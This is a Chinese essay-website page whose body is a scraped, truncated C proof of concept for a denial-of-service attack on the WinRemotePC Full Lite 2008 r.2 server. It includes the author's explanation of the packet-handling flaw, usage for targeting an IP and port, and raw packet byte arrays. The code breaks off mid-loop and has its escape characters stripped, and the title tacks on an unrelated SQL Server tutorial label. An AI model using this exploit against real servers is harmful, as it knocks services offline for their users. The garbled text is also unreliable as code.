• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 经典文章 > 正文

    WinRemotePC,Full,Lite,2008,r.2server,Denial,of,Service,Exploit_sqlserver使用教程

    时间:2020-03-29来源:山茶花美文网 本文已影响 山茶花美文网手机站
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define size 30000
    #define tests 35
    /*
    ****WinRemotePC Full Lite 2008 r.2server DOS(memory cpu consumption) vulnerability poc****

    A vulnerability exists in WinRemotePC Full Lite 2008 r.2 server in the way it handles recieved packets because it
    fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and
    after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to
    immediate crash.Although i couldn"t find a packet pattern for immediate crash or exploitation the DOS is certain through
    cpu memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D
    Usage: ./dos [ip] [port]

    WinRemotePC: /winremotepc.html

    Discovey POC by Shinnok raydenxy [at] yahoo dot com
    */

    /*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A"s.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
    char p1[]="x00x00x00x00xa7x01x00x00xa7x01x00x00x00xffx00x00xe4x2ex00x00x01x00x00x00x00x00x00x00x02x00x00x00x8fx41x82x7bx38xb1xe4x4ex9bx92xf5xc0xe5xf9xb9xd2x01x01x00x00x20x00x00x00x22xf4xc7x1fxf6x9ax5ex77x1bx42x73x70x42xdaxf0xd1x70x59xf8xf7x81xb7x97x0ax11xf2x4cx0cx3axbdx56xb9x20x00x00x00xa1xebx78xe2xbexebxb7x3ax33x8cxf4x1fxbdxbex21x9exf8x6bx20x2dx0fx1dx4bx3ex2dx55x5ex45xf6x8axedx4dx5fx00x00x00xe8x7cx1ax56xd0xa6xf8xefx09xeaxb6xc8x53xe2xc9xc9xcdx86x0bxa3x55x90xe6x4cx97xb6x38x4bxbcx5fxa4x29xa9x2dx1cxa1xa1x7bx1axbfx97x1ax88x55x1dx7exa4x2ex43xf7x57xd6x21x1ex9exa0x6fx4axd0x38xfaxe9x9ax50x8fxd0x43x88x9fxc8xb5x6fx09x1axcfx92x74x41x6bx87xe1xefxbcxe3xf0x99x09xb6x8dx85x0bx2exd3x3bx2ex94x00x00x00x05x00x00x00x01x00x00x00x28x0ax00x00x02x00x00x00";
    char p2[]="x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x2ax00x00x00x30x31x2dx30x30x2dx36x46x32x45x30x31x37x30x2dx31x45x45x38x2dx34x34x33x36x2dx41x35x36x44x2dx30x44x35x33x39x38x39x36x46x30x31x35x02x00x00x00x30x3ax00x00x00x00x00x00x00x00x18x00x00x00x18x00x00x00x00xffx00x00xc4x13x00x00x02x00x00x00x00x00x00x00x04x00x00x00x01x00x00x00";

    /*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/
    int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000,22000,23000,24000};

    int main(int argc, char* argv[]){
    struct sockaddr_in server;
    int s,i,f;
    char req[size];
    char* buff;

    for(i=0;i
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全